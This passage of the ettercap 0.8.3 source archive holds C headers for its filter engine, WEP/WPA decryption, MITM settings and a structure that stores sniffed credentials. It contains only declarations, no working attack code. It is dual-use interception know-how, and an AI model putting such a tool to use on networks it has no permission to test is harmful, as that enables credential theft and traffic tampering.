0xc023, LL_TYPE_MPLS = 0x8847, LL_TYPE_8021x = 0x888E }; /* network layer types */ enum { NL_TYPE_ICMP = 0x01, NL_TYPE_IPIP = 0x04, NL_TYPE_IP6 = 0x29, NL_TYPE_ESP = 0x32, NL_TYPE_ICMP6 = 0x3a, NL_TYPE_TCP = 0x06, NL_TYPE_UDP = 0x11, NL_TYPE_GRE = 0x2f, NL_TYPE_OSPF = 0x59, NL_TYPE_VRRP = 0x70 }; /* proto layer types */ enum { PL_DEFAULT = 0x0000, }; /* IPv6 options types */ /* NOTE: they may (but should not) conflict with network layer types! */ /* double check new definitions of either types. */ enum { LO6_TYPE_HBH = 0, /* Hop-By-Hop */ LO6_TYPE_RT = 0x2b, /* Routing */ LO6_TYPE_FR = 0x2c, /* Fragment */ LO6_TYPE_DST = 0x3c, /* Destination */ LO6_TYPE_NO = 0x3b, /* No Next Header */ }; /* TCP flags */ enum { TH_FIN = 0x01, TH_SYN = 0x02, TH_RST = 0x04, TH_PSH = 0x08, TH_ACK = 0x10, TH_URG = 0x20, TH_ECE = 0x40, /* rfc 2481/3168 */ TH_CWR = 0x80 /* rfc 2481/3168 */ }; /* ICMP types */ enum { ICMP_ECHOREPLY = 0, ICMP_DEST_UNREACH = 3, ICMP_REDIRECT = 5, ICMP_ECHO = 8, ICMP_TIME_EXCEEDED = 11, ICMP_NET_UNREACH = 0, ICMP_HOST_UNREACH = 1, }; /* ICMPv6 types */ enum { /* Errors */ ICMP6_DEST_UNREACH = 1, ICMP6_PKT_TOO_BIG = 2, ICMP6_TIME_EXCEEDED = 3, ICMP6_BAD_PARAM = 4, /* Info */ ICMP6_ECHO = 128, ICMP6_ECHOREPLY = 129, ICMP6_ROUTER_SOL = 133, ICMP6_ROUTER_ADV = 134, ICMP6_NEIGH_SOL = 135, ICMP6_NEIGH_ADV = 136, }; /* DHCP options */ enum { DHCP_MAGIC_COOKIE = 0x63825363, DHCP_DISCOVER = 0x01, DHCP_OFFER = 0x02, DHCP_REQUEST = 0x03, DHCP_ACK = 0x05, DHCP_OPT_NETMASK = 0x01, DHCP_OPT_ROUTER = 0x03, DHCP_OPT_DNS = 0x06, DHCP_OPT_DOMAIN = 0x0f, DHCP_OPT_RQ_ADDR = 0x32, DHCP_OPT_LEASE_TIME = 0x33, DHCP_OPT_MSG_TYPE = 0x35, DHCP_OPT_SRV_ADDR = 0x36, DHCP_OPT_RENEW_TIME = 0x3a, DHCP_OPT_CLI_IDENT = 0x3d, DHCP_OPT_FQDN = 0x51, DHCP_OPT_END = 0xff, DHCP_OPT_MIN_LEN = 0x12c, }; #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/el_functions.h0000644000175000017500000000603413505247364017463 0ustar koeppeakoeppea#ifndef ETTERLOG_FUNCTIONS_H #define ETTERLOG_FUNCTIONS_H #include #include /* el_parser */ EC_API_EXTERN void parse_options(int argc, char **argv); /* el_analyze */ EC_API_EXTERN void analyze(void); EC_API_EXTERN void create_hosts_list(void); /* el_main */ EC_API_EXTERN void progress(int value, int max); EC_API_EXTERN void set_color(int color); EC_API_EXTERN void reset_color(void); /* el_log */ EC_API_EXTERN void open_log(char *file); EC_API_EXTERN int get_header(struct log_global_header *hdr); EC_API_EXTERN int get_packet(struct log_header_packet *pck, u_char **buf); EC_API_EXTERN int get_info(struct log_header_info *inf, struct dissector_info *buf); EC_API_EXTERN void concatenate(int argc, char **argv); /* el_display */ EC_API_EXTERN void display(void); EC_API_EXTERN void set_display_regex(char *regex); /* el_conn */ EC_API_EXTERN void conn_table_create(void); EC_API_EXTERN void conn_table_display(void); EC_API_EXTERN void conn_decode(void); EC_API_EXTERN void filcon_compile(char *conn); EC_API_EXTERN int is_conn(struct log_header_packet *pck, int *versus); #define VERSUS_SOURCE 0 #define VERSUS_DEST 1 /* el_target */ EC_API_EXTERN void target_compile(char *target); EC_API_EXTERN int is_target_pck(struct log_header_packet *pck); EC_API_EXTERN int is_target_info(struct host_profile *hst); EC_API_EXTERN int find_user(struct host_profile *hst, char *user); /* el_profiles */ EC_API_EXTERN int profile_add_info(struct log_header_info *inf, struct dissector_info *buf); EC_API_EXTERN void *get_host_list_ptr(void); /* el_stream */ struct so_list { int side; struct packet_object po; TAILQ_ENTRY(so_list) next; }; struct so_offset { struct so_list *so_curr; size_t po_off; }; struct stream_object { TAILQ_HEAD (so_list_head, so_list) so_head; struct so_offset side1; struct so_offset side2; }; EC_API_EXTERN void stream_init(struct stream_object *so); EC_API_EXTERN int stream_add(struct stream_object *so, struct log_header_packet *pck, char *buf); EC_API_EXTERN struct so_list * stream_search(struct stream_object *so, const char *buf, size_t buflen, int mode); EC_API_EXTERN int stream_read(struct stream_object *so, u_char *buf, size_t size, int mode); #define STREAM_SIDE1 0 #define STREAM_SIDE2 ~0 EC_API_EXTERN int stream_move(struct stream_object *so, size_t offset, int whence, int mode); /* el_decode */ enum { APP_LAYER_TCP = 51, APP_LAYER_UDP = 52, }; #define FUNC_EXTRACTOR(func) int func(struct stream_object *so) #define FUNC_EXTRACTOR_PTR(func) int (*func)(struct stream_object *so) #define EXECUTE_EXTRACTOR(x, so, ret) do{ \ if (x) \ ret += x(so); \ }while(0) #define STREAM so EC_API_EXTERN int decode_stream(struct stream_object *so); #define STREAM_SKIPPED 0 #define STREAM_DECODED 1 EC_API_EXTERN void add_extractor(u_int8 level, u_int32 type, FUNC_EXTRACTOR_PTR(extractor)); EC_API_EXTERN void * get_extractor(u_int8 level, u_int32 type); EC_API_EXTERN int decode_to_file(char *host, char *proto, char *file); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_file.h0000644000175000017500000000175713505247364016370 0ustar koeppeakoeppea#ifndef ETTERCAP_FILE_H #define ETTERCAP_FILE_H EC_API_EXTERN FILE * open_data(char *dir, char *file, char *mode); EC_API_EXTERN char * get_full_path(const char *dir, const char *file); EC_API_EXTERN char * get_local_path(const char *file); #define MAC_FINGERPRINTS "etter.finger.mac" #define TCP_FINGERPRINTS "etter.finger.os" #define SERVICES_NAMES "etter.services" #define ETTER_CONF "etter.conf" #define ETTER_DNS "etter.dns" #define ETTER_MDNS "etter.mdns" #define ETTER_NBNS "etter.nbns" #define ETTER_FIELDS "etter.fields" #define CERT_FILE "etter.ssl.crt" /* fopen modes */ #define FOPEN_READ_TEXT "r" #define FOPEN_READ_BIN "rb" #define FOPEN_WRITE_TEXT "w" #define FOPEN_WRITE_BIN "wb" #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_socket.h0000644000175000017500000000107713505247364016734 0ustar koeppeakoeppea#ifndef ETTERCAP_SOCKET_H #define ETTERCAP_SOCKET_H /* The never ending errno problems... */ #if defined(OS_WINDOWS) && !defined(OS_CYGWIN) #define GET_SOCK_ERRNO() WSAGetLastError() #else #define GET_SOCK_ERRNO() errno #endif EC_API_EXTERN int open_socket(const char *host, u_int16 port); EC_API_EXTERN int close_socket(int s); EC_API_EXTERN void set_blocking(int s, int set); EC_API_EXTERN int socket_send(int s, const u_char *payload, size_t size); EC_API_EXTERN int socket_recv(int s, u_char *payload, size_t size); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_parser.h0000644000175000017500000000023313505247364016731 0ustar koeppeakoeppea#ifndef ETTERCAP_PARSER_H #define ETTERCAP_PARSER_H EC_API_EXTERN void parse_options(int argc, char **argv); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ef_version.h0000644000175000017500000000017013505247364017125 0ustar koeppeakoeppea#ifndef ETTERFILTER_VERSION_H #define ETTERFILTER_VERSION_H #define PROGRAM "etterfilter" #endif /* EOF */ ettercap-0.8.3/include/ec_stdint.h0000644000175000017500000000355513505247364016754 0ustar koeppeakoeppea#ifndef ETTERCAP_STDINT_H #define ETTERCAP_STDINT_H #include #if defined HAVE_STDINT_H && !defined OS_SOLARIS #include #elif !defined OS_SOLARIS #include #elif defined OS_SOLARIS #include #endif #if defined HAVE_INTTYPES_H #include #else /* HAVE_INTTYPES_H */ #if __WORDSIZE == 64 #define __PRI64_PREFIX "l" #else #define __PRI64_PREFIX "ll" #endif #ifndef PRId64 #define PRId64 __PRI64_PREFIX "d" #endif #ifndef PRIu64 #define PRIu64 __PRI64_PREFIX "u" #endif #endif /* HAVE_INTTYPES_H */ #ifndef TYPES_DEFINED #define TYPES_DEFINED typedef int8_t int8; typedef int16_t int16; typedef int32_t int32; typedef int64_t int64; typedef uint8_t u_int8; typedef uint16_t u_int16; typedef uint32_t u_int32; typedef uint64_t u_int64; typedef unsigned char u_char; #if defined OS_BSD_OPEN && !defined HAVE_STDINT_H #define INT8_MAX CHAR_MAX #define UINT8_MAX UCHAR_MAX #define INT16_MAX SHRT_MAX #define UINT16_MAX USHRT_MAX #define INT32_MAX INT_MAX #define UINT32_MAX UINT_MAX #endif /* Maximum of signed integral types. */ #ifndef INT8_MAX #define INT8_MAX (127) #endif #ifndef INT16_MAX #define INT16_MAX (32767) #endif #ifndef INT32_MAX #define INT32_MAX (2147483647) #endif /* Maximum of unsigned integral types. */ #ifndef UINT8_MAX #define UINT8_MAX (255) #endif #ifndef UINT16_MAX #define UINT16_MAX (65535) #endif #ifndef UINT32_MAX #define UINT32_MAX (4294967295U) #endif #endif /* min and max */ #ifndef MIN #define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAX #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_passive.h0000644000175000017500000000043713505247364017115 0ustar koeppeakoeppea#ifndef ETTERCAP_PASSIVE_H #define ETTERCAP_PASSIVE_H EC_API_EXTERN int is_open_port(u_int8 proto, u_int16 port, u_int8 flags); EC_API_EXTERN void print_host(struct host_profile *h); EC_API_EXTERN void print_host_xml(struct host_profile *h); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_filter.h0000644000175000017500000000667713505247364016744 0ustar koeppeakoeppea#ifndef ETTERCAP_FILTER_H #define ETTERCAP_FILTER_H #include #include #ifdef HAVE_PCRE #include #endif /* * this is the struct used by the filtering engine * it is the equivalent of a processor's instruction * * they are organized in an array and evaluated one * at a time. the jump are absolute and the addressing * is done by the array position. * */ //#define MAX_FILTER_LEN 200 struct filter_op { char opcode; #define FOP_EXIT 0 #define FOP_TEST 1 #define FOP_ASSIGN 2 #define FOP_INC 3 #define FOP_DEC 4 #define FOP_FUNC 5 #define FOP_JMP 6 #define FOP_JTRUE 7 #define FOP_JFALSE 8 /* * the first two field of the structs (op and level) must * overlap the same memory region. it is abused in ef_encode.c * encoding a function that uses an offset as an argument */ union { /* functions */ struct { char op; #define FFUNC_SEARCH 0 #define FFUNC_REGEX 1 #define FFUNC_PCRE 2 #define FFUNC_REPLACE 3 #define FFUNC_INJECT 4 #define FFUNC_LOG 5 #define FFUNC_DROP 6 #define FFUNC_KILL 7 #define FFUNC_MSG 8 #define FFUNC_EXEC 9 #define FFUNC_EXECINJECT 10 u_int8 level; u_int8 *string; size_t slen; u_int8 *replace; size_t rlen; struct regex_opt *ropt; } func; /* tests */ struct { u_int8 op; #define FTEST_EQ 0 #define FTEST_NEQ 1 #define FTEST_LT 2 #define FTEST_GT 3 #define FTEST_LEQ 4 #define FTEST_GEQ 5 u_int8 level; u_int8 size; u_int16 offset; u_int32 value; u_int8 ipaddr[16]; u_int8 *string; size_t slen; } test, assign; /* jumps */ u_int16 jmp; } op; }; /* the header for a binary filter file * * a file is structured as follow: * the header * the data segment (containing all the strings) * the code segment (containing all the instructions) * * when the file is loaded all the string must be referenced * by the instructions */ struct filter_header { /* magic number */ u_int16 magic; #define EC_FILTER_MAGIC 0xe77e /* ettercap version */ char version[16]; /* pointers to the segments */ u_int16 data; u_int16 code; }; /* filters header for mmapped region */ struct filter_env { void *map; struct filter_op *chain; size_t len; }; /* filter list entry */ struct filter_list { u_int8 enabled; char *name; struct filter_env env; struct filter_list *next; }; /* uset to compile the regex while loading the file */ struct regex_opt { regex_t *regex; #ifdef HAVE_PCRE pcre *pregex; pcre_extra *preg_extra; #endif }; #define PCRE_OVEC_SIZE 100 void filter_init_mutex(void); /* exported functions */ EC_API_EXTERN void filter_packet(struct packet_object *po); EC_API_EXTERN int filter_load_file(const char *filename, struct filter_list **list, uint8_t enabled); EC_API_EXTERN void filter_unload(struct filter_list **list); EC_API_EXTERN void filter_clear(void); EC_API_EXTERN void filter_walk_list( int(*cb)(struct filter_list*, void*), void *arg); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_encryption.h0000644000175000017500000001322413505247364017633 0ustar koeppeakoeppea#ifndef ETTERCAP_ENCRYPTION_H #define ETTERCAP_ENCRYPTION_H #include /* * WEP is based on RSA's rc4 stream cipher and uses a 24-bit initialization * vector (iv), which is concatenated with a 40-bit or 104-bit secret shared key * to create a 64-bit or 128-bit key which is used as the rc4 seed. Most cards * either generate the 24-bit iv using a counter or by using some sort of pseudo * random number generator (prng). The payload is then encrypted along with an * appended 32-bit checksum and sent out with the iv in plaintext as illustrated: * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | | * | 802.11 Header | * | | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | IV[0] | IV[1] | IV[2] | Key ID | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | . . . . . . SNAP[0] . . . . . | . . . . . SNAP[1] . . . . . . | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | . . . . . . SNAP[2] . . . . . | . . . . Protocol ID . . . . . | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | * | . . . . . . . . . . . . . Payload . . . . . . . . . . . . . . | * | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | . . . . . . . . . . . 32-bit Checksum . . . . . . . . . . . . | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * * . - denotes encrypted portion of packet * * After the data is sent out, the receiver simply concatenates the received iv * with their secret key to decrypt the payload. If the checksum checks out, then * the packet is valid. */ #define WEP_IV_LEN 3 #define WEP_CRC_LEN 4 #define WPA_IV_LEN 8 #define MAX_WKEY_LEN 32 /* 256 bit */ struct wep_header { u_int8 init_vector[WEP_IV_LEN]; u_int8 key; }; struct wpa_header { u_int8 init_vector[WPA_IV_LEN]; }; /* * http://etutorials.org/Networking/802.11+security.+wi-fi+protected+access+and+802.11i/Part+II+The+Design+of+Wi-Fi+Security/Chapter+10.+WPA+and+RSN+Key+Hierarchy/Details+of+Key+Derivation+for+WPA/ * * http://en.wikipedia.org/wiki/IEEE_802.11i-2004 * */ #define WPA_KEY_LEN 32 #define WPA_NONCE_LEN 32 #define WPA_PTK_LEN 64 /* TKIP uses 48 bytes, CCMP uses 64 bytes */ #define WPA_MICKEY_LEN 16 #define WPA_KCK_LEN 16 #define WPA_DEC_KEY_LEN 16 #define WPA_CCMP_TRAILER 8 struct __attribute__ ((__packed__)) rsn_ie_header { u_int8 id; u_int8 len; u_int8 OUI[4]; u_int16 version; u_int8 multicastOUI[4]; u_int16 iUnicastCount; /* this should always be 1 for WPA client */ u_int8 unicastOUI[4]; u_int16 iAuthCount; /* this should always be 1 for WPA client */ u_int8 authOUI[4]; u_int16 wpa_cap; }; struct __attribute__ ((__packed__)) eapol_header { u_int8 version; u_int8 type; #define EAP_PACKET 0x00 #define EAPOL_START 0x01 #define EAPOL_LOGOFF 0x02 #define EAPOL_KEY 0x03 #define EAPOL_ENCAP 0x04 u_int16 len; }; struct __attribute__ ((__packed__)) eapol_key_header { u_int8 type; #define EAPOL_KEY_RSN 0x02 #define EAPOL_KEY_WPA 0xfe u_int16 key_info; #define WPA_KEY_TKIP 0x0001 #define WPA_KEY_CCMP 0x0002 #define WPA_KEY_PAIRWISE 0x0008 #define WPA_KEY_INSTALL 0x0040 #define WPA_KEY_ACK 0x0080 #define WPA_KEY_MIC 0x0100 #define WPA_KEY_SECURE 0x0200 #define WPA_KEY_ENCRYPT 0x1000 u_int16 key_len; u_int8 replay_counter[8]; u_int8 key_nonce[32]; u_int8 key_IV[16]; u_int8 key_RSC[8]; u_int8 key_ID[8]; u_int8 key_MIC[16]; u_int16 key_data_len; }; struct wpa_sa { struct timeval tv; /* used to timeout the session */ u_char state; u_char algo; u_char SNonce[WPA_NONCE_LEN]; u_char ANonce[WPA_NONCE_LEN]; u_char ptk[WPA_PTK_LEN * 2]; /* 512 bit is the max PRF will output, multiply the space for key calculation */ u_char decryption_key[WPA_DEC_KEY_LEN]; }; struct wpa_session { u_char sta[ETH_ADDR_LEN]; /* the STA mac address that is associating */ struct wpa_sa sa; LIST_ENTRY (wpa_session) next; }; #define XOR_BLOCK(b, a, len) \ { \ int i; \ for (i = 0; i < (int)(len); i++) \ (b)[i] ^= (a)[i]; \ } /* forward declaration in wifi_eapol.c */ struct rsn_ie_header; struct eapol_header; struct eapol_key_header; extern int wep_decrypt(u_char *buf, size_t len, u_char *wkey, size_t wlen); extern int wifi_key_prepare(char *key_string); extern void wpa_sess_add(u_char *sta, struct wpa_sa *sa); extern void wpa_sess_del(u_char *sta); extern int wpa_sess_get(u_char *sta, struct wpa_sa *sa); extern int wpa_generate_PTK(u_char *bssid, u_char *sta, u_char *pmk, u_char *snonce, u_char *anonce, u_int16 bits, u_char *ptk); extern int wpa_check_MIC(struct eapol_header *eapol, struct eapol_key_header* eapol_key, size_t eapol_len, u_char *kck, int algo); extern int wpa_decrypt_broadcast_key(struct eapol_key_header *eapol_key, struct rsn_ie_header *rsn_ie, struct wpa_sa *sa); extern int wpa_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/el.h0000644000175000017500000000237413505247364015376 0ustar koeppeakoeppea#ifndef ETTERLOG_H #define ETTERLOG_H #include #include #include #include struct el_options { char concat:1; char analyze:1; char no_headers:1; char connections:1; char decode:1; char showmac:1; char showclient:1; char only_source:1; char only_dest:1; char only_local:1; char only_remote:1; char passwords:1; char color:1; char xml:1; char reverse:1; char regex:1; }; struct el_globals { struct log_global_header hdr; int (*format)(const u_char *, size_t, u_char *); char *user; char *logfile; gzFile fd; regex_t *regex; struct target_env *t; struct ip_addr client; struct el_options *options; }; /* in el_main.c */ extern struct el_globals *el_gbls; #define EL_GBL el_gbls #define EL_GBL_LOGFILE EL_GBL->logfile #define EL_GBL_LOG_FD EL_GBL->fd #define EL_GBL_OPTIONS EL_GBL->options #define EL_GBL_TARGET (EL_GBL->t) #define COL_RED 31 #define COL_GREEN 32 #define COL_YELLOW 33 #define COL_BLUE 34 #define COL_MAGENTA 35 #define COL_CYAN 36 EC_API_EXTERN void el_globals_alloc(void); EC_API_EXTERN void el_globals_free(void); EC_API_EXTERN void el_exit(int code); #endif /* EL_H */ /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_set.h0000644000175000017500000000375213505247364016241 0ustar koeppeakoeppea#ifndef ETTERCAP_SET_H #define ETTERCAP_SET_H EC_API_EXTERN void set_mitm(char *mitm); EC_API_EXTERN void set_onlymitm(void); EC_API_EXTERN void set_broadcast(void); EC_API_EXTERN void set_iface_bridge(char *iface); EC_API_EXTERN void set_promisc(void); EC_API_EXTERN void set_reversed(void); EC_API_EXTERN void set_proto(char *arg); EC_API_EXTERN void set_plugin(char *name); EC_API_EXTERN void set_iface(char *iface); EC_API_EXTERN void set_lifaces(void); EC_API_EXTERN void set_secondary(char *iface); EC_API_EXTERN void set_netmask(char *netmask); EC_API_EXTERN void set_address(char *address); EC_API_EXTERN void set_read_pcap(char *pcap_file); EC_API_EXTERN void set_write_pcap(char *pcap_file); EC_API_EXTERN void set_pcap_filter(char *filter); EC_API_EXTERN void set_filter(char *end, const char *filter); EC_API_EXTERN void set_loglevel_packet(char *arg); EC_API_EXTERN void set_loglevel_info(char *arg); EC_API_EXTERN void set_loglevel_true(char *arg); EC_API_EXTERN void set_compress(void); EC_API_EXTERN void opt_set_regex(char *regex); EC_API_EXTERN void set_quiet(void); EC_API_EXTERN void set_superquiet(void); EC_API_EXTERN void set_script(char *script); EC_API_EXTERN void set_silent(void); #ifdef WITH_IPV6 EC_API_EXTERN void set_ip6scan(void); #endif EC_API_EXTERN void set_unoffensive(void); EC_API_EXTERN void disable_sslmitm(void); EC_API_EXTERN void set_resolve(void); EC_API_EXTERN void set_load_hosts(char *file); EC_API_EXTERN void set_save_hosts(char *file); EC_API_EXTERN void opt_set_format(char *format); EC_API_EXTERN void set_ext_headers(void); EC_API_EXTERN void set_wifi_key(char *key); EC_API_EXTERN void set_conf_file(char *file); EC_API_EXTERN void set_ssl_cert(char *cert); EC_API_EXTERN void set_ssl_key(char *key); #ifdef HAVE_EC_LUA EC_API_EXTERN void set_lua_args(char *args); EC_API_EXTERN void set_lua_script(char *script); #endif EC_API_EXTERN void set_target_target1(char *target1); EC_API_EXTERN void set_target_target2(char *target2); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_checksum.h0000644000175000017500000000103613505247364017241 0ustar koeppeakoeppea#ifndef ETTERCAP_CHECKSUM_H #define ETTERCAP_CHECKSUM_H #include EC_API_EXTERN u_int16 L3_checksum(u_char *buf, size_t len); EC_API_EXTERN u_int16 L4_checksum(struct packet_object *po); #define CSUM_INIT 0 #define CSUM_RESULT 0 EC_API_EXTERN u_int32 CRC_checksum(u_char *buf, size_t len, u_int32 init); #define CRC_INIT_ZERO 0x0 #define CRC_INIT 0xffffffff #define CRC_RESULT 0xdebb20e3 EC_API_EXTERN u_int16 checksum_shouldbe(u_int16 sum, u_int16 computed_sum); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_stats.h0000644000175000017500000000377013505247364016604 0ustar koeppeakoeppea#ifndef ETTERCAP_STATS_H #define ETTERCAP_STATS_H /* * this struct contains all field to collect * statistics about packet and byte rate * for the bottom and top half */ struct half_stats { uint64_t pck_recv; uint64_t pck_size; struct timeval ttot; struct timeval tpar; struct timeval ts; struct timeval te; uint64_t tmp_size; unsigned long rate_adv; unsigned long rate_worst; unsigned long thru_adv; unsigned long thru_worst; }; /* * global statistics: bottom and top half + queue */ struct gbl_stats { uint64_t ps_recv; uint64_t ps_recv_delta; uint64_t ps_drop; uint64_t ps_drop_delta; uint64_t ps_ifdrop; uint64_t ps_sent; uint64_t ps_sent_delta; uint64_t bs_sent; uint64_t bs_sent_delta; struct half_stats bh; struct half_stats th; unsigned long queue_max; unsigned long queue_curr; }; #define time_sub(a, b, result) do { \ (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ if ((result)->tv_usec < 0) { \ --(result)->tv_sec; \ (result)->tv_usec += 1000000; \ } \ } while (0) #define time_add(a, b, result) do { \ (result)->tv_sec = (a)->tv_sec + (b)->tv_sec; \ (result)->tv_usec = (a)->tv_usec + (b)->tv_usec; \ if ((result)->tv_usec >= 1000000) { \ ++(result)->tv_sec; \ (result)->tv_usec -= 1000000; \ } \ } while (0) /* exports */ EC_API_EXTERN void stats_wipe(void); EC_API_EXTERN void stats_update(void); EC_API_EXTERN unsigned long stats_queue_add(void); EC_API_EXTERN unsigned long stats_queue_del(void); EC_API_EXTERN void stats_half_start(struct half_stats *hs); EC_API_EXTERN void stats_half_end(struct half_stats *hs, u_int len); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_profiles.h0000644000175000017500000000335213505247364017265 0ustar koeppeakoeppea#ifndef ETTERCAP_PROFILES_H #define ETTERCAP_PROFILES_H #include #include struct dissector_info { char *user; char *pass; char *info; char *content; char *banner; char *os; char failed; u_int8 advertised_proto; u_int16 advertised_port; }; /* the list of users for each port */ struct active_user { char *user; char *pass; char *info; u_int8 failed; struct ip_addr client; LIST_ENTRY(active_user) next; }; /* each port is indentified this way : */ struct open_port { u_int16 L4_addr; u_int8 L4_proto; /* the service banner */ char *banner; /* the list of users */ LIST_HEAD(, active_user) users_list_head; LIST_ENTRY(open_port) next; }; /* this contains all the info related to an host */ struct host_profile { u_int8 L2_addr[MEDIA_ADDR_LEN]; struct ip_addr L3_addr; char hostname[MAX_HOSTNAME_LEN]; char* os; /* the list of open ports */ LIST_HEAD(, open_port) open_ports_head; /* distance in hop (TTL) */ u_int8 distance; /* local or not ? */ u_int8 type; /* OS fingerprint */ u_char fingerprint[FINGER_LEN+1]; TAILQ_ENTRY(host_profile) next; }; /* exported functions */ EC_API_EXTERN void profile_purge_local(void); EC_API_EXTERN void profile_purge_remote(void); EC_API_EXTERN void profile_purge_all(void); EC_API_EXTERN int profile_convert_to_hostlist(void); EC_API_EXTERN int profile_dump_to_file(char *filename); /* fake forward declaration (profiles include packet and viceversa) */ struct packet_object; EC_API_EXTERN void profile_parse(struct packet_object *po); EC_API_EXTERN void * profile_print(int mode, void *list, char **desc, size_t len); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_hash.h0000644000175000017500000000054213505247364016363 0ustar koeppeakoeppea#ifndef __FNV_H__ #define __FNV_H__ #include typedef unsigned long Fnv32_t; #define FNV1_32_INIT ((Fnv32_t)0x811c9dc5) typedef unsigned long long Fnv64_t; #define FNV1_64_INIT ((Fnv64_t)0xcbf29ce484222325ULL) EC_API_EXTERN Fnv32_t fnv_32(void *buf, size_t len); EC_API_EXTERN Fnv64_t fnv_64(void *buf, size_t len); #endif /* __FNV_H__ */ ettercap-0.8.3/include/ec_utils.h0000644000175000017500000000105713505247364016602 0ustar koeppeakoeppea#ifndef ETTERCAP_UTILS_H #define ETTERCAP_UTILS_H EC_API_EXTERN int expand_token(char *s, u_int max, void (*func)(void *t, u_int n), void *t ); EC_API_EXTERN int set_regex(char *regex); EC_API_EXTERN char **parse_iflist(char *list); EC_API_EXTERN void drop_privs(void); EC_API_EXTERN void regain_privs(void); EC_API_EXTERN void regain_privs_atexit(void); EC_API_EXTERN int base64encode(const char *inputbuf, char **outptr); EC_API_EXTERN int base64decode(const char *src, char **outptr); EC_API_EXTERN const char *ec_ctime(const struct timeval *tv); #endif ettercap-0.8.3/include/ec_version.h0000644000175000017500000000055713505247364017133 0ustar koeppeakoeppea#ifndef ETTERCAP_VERS_H #define ETTERCAP_VERS_H #define EC_VERSION "0.8.3" #define EC_VERSION_MAJOR 0 #define EC_VERSION_MINOR 8 #define EC_VERSION_REVISION 3 #ifndef PROGRAM #define PROGRAM "ettercap" #endif #define EC_COPYRIGHT "2001-2019" #define EC_AUTHORS "Ettercap Development Team" #endif /* EOF */ ettercap-0.8.3/include/ec_connbuf.h0000644000175000017500000000200513505247364017066 0ustar koeppeakoeppea#ifndef ETTERCAP_CONNBUF_H #define ETTERCAP_CONNBUF_H #include #include struct conn_buf { /* the lock */ pthread_mutex_t connbuf_mutex; /* max buffer size */ size_t max_size; /* actual buffer size */ size_t size; /* the real buffer made up of a tail of packets */ TAILQ_HEAD(connbuf_head, conn_pck_list) connbuf_tail; }; /* an entry in the tail */ struct conn_pck_list { /* size of the element (including the struct size) */ size_t size; /* the source of the packet */ struct ip_addr L3_src; /* the data */ u_char *buf; /* the link to the next element */ TAILQ_ENTRY(conn_pck_list) next; }; /* functions */ EC_API_EXTERN void connbuf_init(struct conn_buf *cb, size_t size); EC_API_EXTERN int connbuf_add(struct conn_buf *cb, struct packet_object *po); EC_API_EXTERN void connbuf_wipe(struct conn_buf *cb); EC_API_EXTERN int connbuf_print(struct conn_buf *cb, void (*)(u_char *, size_t, struct ip_addr *)); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_ui.h0000644000175000017500000000426613505247364016064 0ustar koeppeakoeppea#ifndef ETTERCAP_UI_H #define ETTERCAP_UI_H #include struct ui_ops { void (*init)(void); void (*start)(void); void (*cleanup)(void); void (*msg)(const char *msg); void (*error)(const char *msg); void (*fatal_error)(const char *msg); void (*input)(const char *title, char *input, size_t n, void (*callback)(void)); int (*progress)(char *title, int value, int max); #define UI_PROGRESS_INTERRUPTED -1 #define UI_PROGRESS_FINISHED 0 #define UI_PROGRESS_UPDATED 1 void (*update)(int); #define UI_UPDATE_HOSTLIST 1 #define UI_UPDATE_PLUGINLIST 2 char initialized; char type; #define UI_TEXT 0 #define UI_DAEMONIZE 1 #define UI_CURSES 2 #define UI_GTK 3 }; EC_API_EXTERN void ui_init(void); EC_API_EXTERN void ui_start(void); EC_API_EXTERN void ui_cleanup(void); EC_API_EXTERN void ui_msg(const char *fmt, ...); EC_API_EXTERN void ui_error(const char *fmt, ...); EC_API_EXTERN void ui_fatal_error(const char *msg); EC_API_EXTERN void ui_input(const char *title, char *input, size_t n, void (*callback)(void)); EC_API_EXTERN int ui_progress(char *title, int value, int max); EC_API_EXTERN void ui_update(int target); EC_API_EXTERN int ui_msg_flush(int max); #define MSG_ALL INT_MAX EC_API_EXTERN int ui_msg_purge_all(void); EC_API_EXTERN void ui_register(struct ui_ops *ops); #define USER_MSG(x, ...) ui_msg(x, 